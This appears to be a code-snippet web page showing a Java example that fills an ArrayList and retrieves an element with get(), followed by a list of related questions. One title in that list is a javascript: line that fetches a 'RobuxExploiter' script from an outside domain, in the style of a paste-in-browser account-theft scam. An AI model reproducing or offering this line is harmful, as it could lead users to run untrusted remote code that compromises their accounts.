Get list data in java

import java.util.*;
  
public class GFG {
    public static void main(String[] args)
    {
        // creating an Empty Integer List
        List<Integer> arr = new ArrayList<Integer>(4);
  
        // using add() to initialize values
        // [10, 20, 30, 40]
        arr.add(10);
        arr.add(20);
        arr.add(30);
        arr.add(40);
  
        System.out.println("List: " + arr);
  
        // element at index 2
        int element = arr.get(2);
  
        System.out.println("The element at index 2 is " + element);
    }
}

Similar codes

0 vote291 views1 answer
Libgdx load file
Java
0 vote275 views1 answer
Deserialize date java
Java
1 vote272 views3 answers
Spring cors
Java
0 vote251 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Java
0 vote291 views1 answer
Strings in java are represented as
Java
3 votes292 views2 answers
Android round double to 2 decimal
Java
253 votes460 views6 answers
Math.random
Java
-1 vote298 views3 answers
Toast.maketext error kotlin
Java
3 votes272 views1 answer
Find maven version
Java
1 vote271 views1 answer
Define an array of size n in java
Java